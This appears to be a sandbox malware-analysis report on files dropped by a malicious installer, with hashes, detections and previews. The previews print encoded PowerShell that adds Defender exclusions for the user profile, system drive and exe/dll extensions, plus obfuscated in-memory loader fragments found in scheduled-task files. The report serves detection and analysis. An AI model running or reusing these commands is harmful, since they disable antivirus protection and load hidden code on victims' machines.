SSDEEP:	24:3vUrcPpQrLAo4KAxX5qRPD42HOoVZe9t4CvKuKnKJRSF8PQ9b6F:8wPerB4nqRL/Hvfe9t4Cv94aR48Y9eF
MD5:	12513EC7250BFC953C71EA941E82B42C
SHA1:	F821E6EF80B3144841A0385A593C2605978BAD45
SHA-256:	91249CB24DDFEB9DC31A3EACB04449E3422C6EB754265D23C897A413EFB62592
SHA-512:	71B09E3B079329EB741B2ACF89C28870EB225EC51DA34CDB01BE31430272892E00F134B66F6FCF1F0D5AD5368FB20554F9C512794D84BE3015388A63195403E2
Malicious:	false
Reputation:	unknown
Preview:	@...e...................................R............@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bm0fgaxm.amy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngejssxk.m2l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oy0x04mz.n4f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sm1ft0n0.g32.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u32chnre.idy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vv5vdss4.ljn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xll1yvfj.55e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yezoz5fn.st5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Roaming\34432.exe

Download File

Process:	C:\Users\user\Desktop\Install.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2366976
Entropy (8bit):	7.993982412207083
Encrypted:	true
SSDEEP:	49152:x/HcwvGPAc5un0WVlI4UY5WmWBNkheV9qeAhpC9c4E3aT:RcwePj5un1l1M/C2PsaT
MD5:	04F6704BD3AB97905A497BAF3D7FDB3C
SHA1:	7D216C427AF6199D119B1C5A0CC93BDB724AF669
SHA-256:	39630AAF0E17AA1929B5CF2F4340C22F22FA6F8F6D76F8398C288BFF972B95FA
SHA-512:	1176BF1BA8F5E640C0D425B76CCDD4A97D1BA250773568588DAB78518AF4F1B1A53F7405016E75FAB7812DD9D67754558BA73025E176B49472491A653E6ED4C1
Malicious:	true
Yara Hits:	Rule: SUSP_NET_NAME_ConfuserEx, Description: Detects ConfuserEx packed file, Source: C:\Users\user\AppData\Roaming\34432.exe, Author: Arnim Rupp
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 35%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....<b..........".......$.............. .....@..... .......................`$...........@...@......@............... ...............................@$.............................................................................................. ..H............text.....$.. ....$................. ..`.rsrc........@$.......$.............@..@........................................H.........#.@.......R.......................................................#..tJ...w.S._...v.o2...+3L....AnRR.....J.Xf..(.....=.o..f....cu.....sq.X@F..............8....._u...o.zv]Fl.....X`.VWm.H. ...K.C#....o..e,..,r..I(..>.V3..K....R..@......(.2-^..Hd.....\..b......SY .-..yU,.[...CB.D.[.L..=...H..g...k.......I.h.4..\|c....t.....).]..`.....^......8^G 3JZ.n../..g.9.....m{....A-f;./.e....]Q_...K.R^.>a!.<Om.b..O.c.5...M.5......@...bm[.6..a..\|S....1..L.r....Z.CX=

C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe

Download File

Process:	C:\Users\user\Desktop\Install.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5028144
Entropy (8bit):	6.125106867276156
Encrypted:	false
SSDEEP:	98304:aqbWYKVEOkkj9NM8zWTl2ALz6dggqBu0teFFJyMEllE+VeJqUH:idzW0QuRabllA7
MD5:	D55DC38B4EE6BED2168E74194533C572
SHA1:	431F6F9AEB280102E8764A5184CABE6CC98052CA
SHA-256:	4B283EC8E073FB61BBB612A152EB332A5C92E7473CF6584A8B716FD87684A936
SHA-512:	C731304F2EC41AC9A49CA1727ED948299A40702D78A2B0BC9506E50AEAB97B5ADCF09D8958E48F8A0FFC9E2FF78941ED68DCAED2BAB06FEA847EB29EFAE58150
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 50%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....<b..................B..@......;.........B...@..........................pL..............................................C.<....................pL.0I............................................C.@.............B.\............................text....?.......@.................. ..`.nQuHRq..o@..P...p@..D.............. ..`.rdata........B.......B.............@..@.data.........C.......C.............@....9SAT.........C.......C............. ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Chrome\chrome.exe

Download File

Process:	C:\Users\user\AppData\Roaming\34432.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2366976
Entropy (8bit):	7.993982412207083
Encrypted:	true
SSDEEP:	49152:x/HcwvGPAc5un0WVlI4UY5WmWBNkheV9qeAhpC9c4E3aT:RcwePj5un1l1M/C2PsaT
MD5:	04F6704BD3AB97905A497BAF3D7FDB3C
SHA1:	7D216C427AF6199D119B1C5A0CC93BDB724AF669
SHA-256:	39630AAF0E17AA1929B5CF2F4340C22F22FA6F8F6D76F8398C288BFF972B95FA
SHA-512:	1176BF1BA8F5E640C0D425B76CCDD4A97D1BA250773568588DAB78518AF4F1B1A53F7405016E75FAB7812DD9D67754558BA73025E176B49472491A653E6ED4C1
Malicious:	true
Yara Hits:	Rule: SUSP_NET_NAME_ConfuserEx, Description: Detects ConfuserEx packed file, Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe, Author: Arnim Rupp
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....<b..........".......$.............. .....@..... .......................`$...........@...@......@............... ...............................@$.............................................................................................. ..H............text.....$.. ....$................. ..`.rsrc........@$.......$.............@..@........................................H.........#.@.......R.......................................................#..tJ...w.S._...v.o2...+3L....AnRR.....J.Xf..(.....=.o..f....cu.....sq.X@F..............8....._u...o.zv]Fl.....X`.VWm.H. ...K.C#....o..e,..,r..I(..>.V3..K....R..@......(.2-^..Hd.....\..b......SY .-..yU,.[...CB.D.[.L..=...H..g...k.......I.h.4..\|c....t.....).]..`.....^......8^G 3JZ.n../..g.9.....m{....A-f;./.e....]Q_...K.R^.>a!.<Om.b..O.c.5...M.5......@...bm[.6..a..\|S....1..L.r....Z.CX=

C:\Users\user\Documents\20220327\PowerShell_transcript.562258.JE93yUZc.20220327014216.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6063
Entropy (8bit):	5.5305777622288925
Encrypted:	false
SSDEEP:	96:BZioj4N2c+qDo1Zo8FZikj4N2c+qDo1Zoe3x1xvxjZiij4N2c+qDo1ZooSx/x/xa:eSc57ec5Tgc5c6G
MD5:	65537AD9317CD9A794FF2C8A25E3A7F8
SHA1:	99CFC1994EEDC8F868B1245E655587DB41F269DF
SHA-256:	5F7D9A86D2E3083645825298C5A61B2EB54DA2F2DA13241ECA4602C03766123F
SHA-512:	99194B41134E7D8C016A22F4556267CE9C512AF7E886F10A2E2F3E4CF6478CF5DEB239A07E8CEE2EA383FCDD222C62680EA9163BBE25C576296390688BC78441
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220327014217..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 562258 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA..Process ID: 5728..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220327014217..******************..PS>Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force..********************..Windows PowerShell transcript start..Sta

C:\Users\user\Documents\20220327\PowerShell_transcript.562258.mru0uP4T.20220327014103.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6063
Entropy (8bit):	5.526751101211023
Encrypted:	false
SSDEEP:	96:BZisj4N2ctqDo1ZoQFZiFj4N2ctqDo1Zol3x1xvxjZirj4N2ctqDo1ZoHSx/x/xO:eGckvBckGzckpRD
MD5:	3B10DF410A30476A570541A74E966B4E
SHA1:	8834897CC7C20AD5C4C4B59A91B5535FB94B454A
SHA-256:	4D3D10EC15EB5EB0E10AF8753F72EACE24DC29BA1D9B1638A7B1DD29C2EF8BC9
SHA-512:	6D119BC9B7440EEFD9E2112530BAE3D038B6C698CFD12AAAB9FFA10EEDA1575BCE5BA56C395A930851F0498559C1CB576E871F14CBA37C79B716AB6C30A84A8A
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220327014103..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 562258 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA..Process ID: 7048..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220327014103..******************..PS>Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force..********************..Windows PowerShell transcript start..Sta

C:\Users\user\Documents\20220327\PowerShell_transcript.562258.nmfYJOoe.20220327014128.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5758
Entropy (8bit):	5.5307589123834395
Encrypted:	false
SSDEEP:	96:BZiAj4N2AMvtqDo1ZojZiqj4N2AMvtqDo1ZoCgC4jZiqj4N2AMvtqDo1ZotBooSV:eqFk0IFkcIFk22y
MD5:	7E8115E31EC613777C6FDFF8F88B6CF2
SHA1:	253DBF54E6B578E26E71DC64D505DE9F62630062
SHA-256:	4045DB0535FC2EF934E014E0C773D7E43CA50B077ED8536979F8CED459F1B608
SHA-512:	5C6316219855F84FF2A3854F02035C1D55690AFA1286A93171565D10DBBDB1AC4F44E4A23CF4D7C455835CECBB7F8B749B98B31340C32B4CB26FFB23F87C82E7
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220327014129..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 562258 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=..Process ID: 6856..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220327014129..******************..PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..********************..Windows PowerShell transcript start..Start time: 20220327014354..Username: computer\user..Run

C:\Windows\System32\20220327\PowerShell_transcript.562258.muxVAL9A.20220327014144.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	5943
Entropy (8bit):	5.8320176220731055
Encrypted:	false
SSDEEP:	96:BZiuN4NNv4GZig3yXM84p32aw0lFrc0lmrn0lmTeowqDo1Zoav4GZig3yXM84p3j:envVnIKjVQr0QBavVnIKjVQr0QPu3
MD5:	4D218FEB27E8E5EDB4F59D0922AA32A2
SHA1:	DF06E9EDE255262EF358472D0C2A9B2FA306664D
SHA-256:	5E36C2D39F94189CCAD4AEE28C26042A699ACEE5BB8E3C23ACA4C9BF9F16D853
SHA-512:	FC7599509D4679CEA32839E147EA6A718DF3B58450ACC69B6B43135DFDAF0034EC5810C87918A8FB74C51F6613D8A44AE944B9AB12611BA992A5B27561D99C7A
Malicious:	false
Reputation:	unknown
Preview:	.**********************..Windows PowerShell transcript start..Start time: 20220327014145..Username: WORKGROUP\SYSTEM..RunAs User: WORKGROUP\SYSTEM..Configuration Name: ..Machine: 562258 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$JkETjFsAcrF.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');$JkETjFsAcrF.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$jXrdWylJno,$j

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9432
Entropy (8bit):	4.926811811017033
Encrypted:	false
SSDEEP:	192:Gxoe5IpObxoe5lib4LVsm5emdJgkjDt4iWN3yBGHc9smgdcU6CkdcU6Cw9smqpOC:Xwib4L+kjh4iUxm44Qib4w
MD5:	ADFF5BE0A9BB797ADEDC0B16C501A155
SHA1:	ED842BE69739E3BF9082DE8FB0F7A596C22C0345
SHA-256:	DADBB3611E60443C1F96672B3950A32B915D115EAA6FE8F6D8A57BED4067E3B0
SHA-512:	9C6CA436FCE28572CD48D090C437881657F17B415A26F6C113A89755282D5D9BF46650B5C3C31FD890EC5C67CA0AB9A90A6F28B21B8315C25B506C6AC8EE600E
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE.............S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........Y.....C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	5.248273118987016
Encrypted:	false
SSDEEP:	24:3lPpQrLAo4KAxX5qRPD42HOoFe9t4CvKuKnKyH+S:VPerB4nqRL/HvFe9t4Cv94nH+S
MD5:	C89140BEA721DEBDA4F741B52939612A
SHA1:	A353FE9D71C211A24EE7208F45CCC71170A65CD4
SHA-256:	05E8082DAD4310F294CF069474C1DFA784427D69E87229D750FDA87C46B2D0B4
SHA-512:	B134E10810FD68B0F50B143A08AFD88AA340CC54C561B09D559E23A77149AC31F26DFFC2FAAC5485247896CDB8535C0084EA2EDD815FB6E56F385F956D00DF27
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Windows\Tasks\nslooksvc32.job

Download File

Process:	C:\Windows\System32\nslookup.exe
File Type:	data
Category:	dropped
Size (bytes):	5350
Entropy (8bit):	3.907212050468804
Encrypted:	false
SSDEEP:	96:mgTVA1VwC9Hw1+Y3fmb2lpL+llpK3vbM+C4aWbga+vlLF5uOgA/wvpHJN/gAwIgA:3TVoVwC9HW/3+bq6hQM+CWbgaSLTu5A+
MD5:	D6D553675A7B8F75130BDD8C7E3B7A7D
SHA1:	EC8FE28936E9C0010B55180AD5A34439D1919EE3
SHA-256:	523EAA769500D372D8DA8A2D77004F7F696865A174BB809B359792067822BE39
SHA-512:	4DB377FD79B7B2218D824B04DF301209890D543C97A254A96AB28202890A23A7D68055EDF02592837377579ECD21F1055EC224F93B3C5CDF2D1295FD1B99A09F
Malicious:	false
Reputation:	unknown
Preview:	......m....O.m....[F.......<... .....s.................................p.o.w.e.r.s.h.e.l.l.....".f.u.n.c.t.i.o.n. .L.o.c.a.l.:.o.B.Y.Z.x.p.o.B.u.J.D.g.{.P.a.r.a.m.(.[.O.u.t.p.u.t.T.y.p.e.(.[.T.y.p.e.].).].[.P.a.r.a.m.e.t.e.r.(.P.o.s.i.t.i.o.n.=.0.).].[.T.y.p.e.[.].].$.h.C.P.A.J.C.D.c.A.n.F.q.J.q.,.[.P.a.r.a.m.e.t.e.r.(.P.o.s.i.t.i.o.n.=.1.).].[.T.y.p.e.].$.N.i.b.V.x.W.x.T.F.c.).$.q.K.H.X.R.L.j.x.c.Q.b.=.[.A.p.p.D.o.m.a.i.n.].:.:.C.u.r.r.e.n.t.D.o.m.a.i.n...D.e.f.i.n.e.D.y.n.a.m.i.c.A.s.s.e.m.b.l.y.(.(.N.e.w.-.O.b.j.e.c.t. .R.e.f.l.e.c.t.i.o.n...A.s.s.e.m.b.l.y.N.a.m.e.(.'.R.e.f.l.e.c.t.e.d.D.e.l.e.g.a.t.e.'.).).,.[.R.e.f.l.e.c.t.i.o.n...E.m.i.t...A.s.s.e.m.b.l.y.B.u.i.l.d.e.r.A.c.c.e.s.s.].:.:.R.u.n.)...D.e.f.i.n.e.D.y.n.a.m.i.c.M.o.d.u.l.e.(.'.I.n.M.e.'.+.'.m.o.r.y.'.+.'.M.o.d.u.l.e.'.,.$.F.a.l.s.e.)...D.e.f.i.n.e.T.y.p.e.(.'.M.y.D.e.l.e.g.a.t.e.T.y.p.e.'.,.'.C.l.a.s.s.,.P.u.b.l.i.c.,.S.e.a.l.e.d.,.A.n.s.i.C.l.a.s.s.,.A.u.t.o.C.l.a.s.s.'.,.[.M.u.l.t.i.c.a.s.t.D.e.l.e.g.a.t.e.].).;.$.

C:\Windows\Tasks\nslooksvc64.job

Download File

Process:	C:\Windows\System32\nslookup.exe
File Type:	data
Category:	dropped
Size (bytes):	5250
Entropy (8bit):	3.8780212618682253
Encrypted:	false
SSDEEP:	96:hgTVwJV49Hw1+Y3Xb+pXpK9M+C4aWOtBmD9Z+vl9EF5oY5gAeNvpHYNiagABQnor:2TVwJV49HW/3XbGZ+M+CW6gDzSeToYu6
MD5:	8743521E80CA300CB5D64D9129AC9B32
SHA1:	02EC0C200E3CE2F12CA6EFAC516CFC0E72DA5AA2
SHA-256:	B71335A7AF988047E29D0BDCE479EE8DD32351F03DE0A73D53D7D5C68E82A1F9
SHA-512:	308CE10E6858A1BF1CDB67356CA719E5E9EB735B2D6DA85AB32F903F35C125BA7166FC5951C13EC05EA859BBD0234901CE3A99683AB2A7A3ECA6AA51FE128755
Malicious:	false
Reputation:	unknown
Preview:	....2a.!..OB.if.t...F.P.....<... .....s.................................p.o.w.e.r.s.h.e.l.l.....".f.u.n.c.t.i.o.n. .L.o.c.a.l.:.J.c.V.E.S.t.Q.t.P.h.k.P.{.P.a.r.a.m.(.[.O.u.t.p.u.t.T.y.p.e.(.[.T.y.p.e.].).].[.P.a.r.a.m.e.t.e.r.(.P.o.s.i.t.i.o.n.=.0.).].[.T.y.p.e.[.].].$.j.w.j.R.g.Z.F.z.a.e.Z.B.Q.B.,.[.P.a.r.a.m.e.t.e.r.(.P.o.s.i.t.i.o.n.=.1.).].[.T.y.p.e.].$.j.X.r.d.W.y.l.J.n.o.).$.J.k.E.T.j.F.s.A.c.r.F.=.[.A.p.p.D.o.m.a.i.n.].:.:.C.u.r.r.e.n.t.D.o.m.a.i.n...D.e.f.i.n.e.D.y.n.a.m.i.c.A.s.s.e.m.b.l.y.(.(.N.e.w.-.O.b.j.e.c.t. 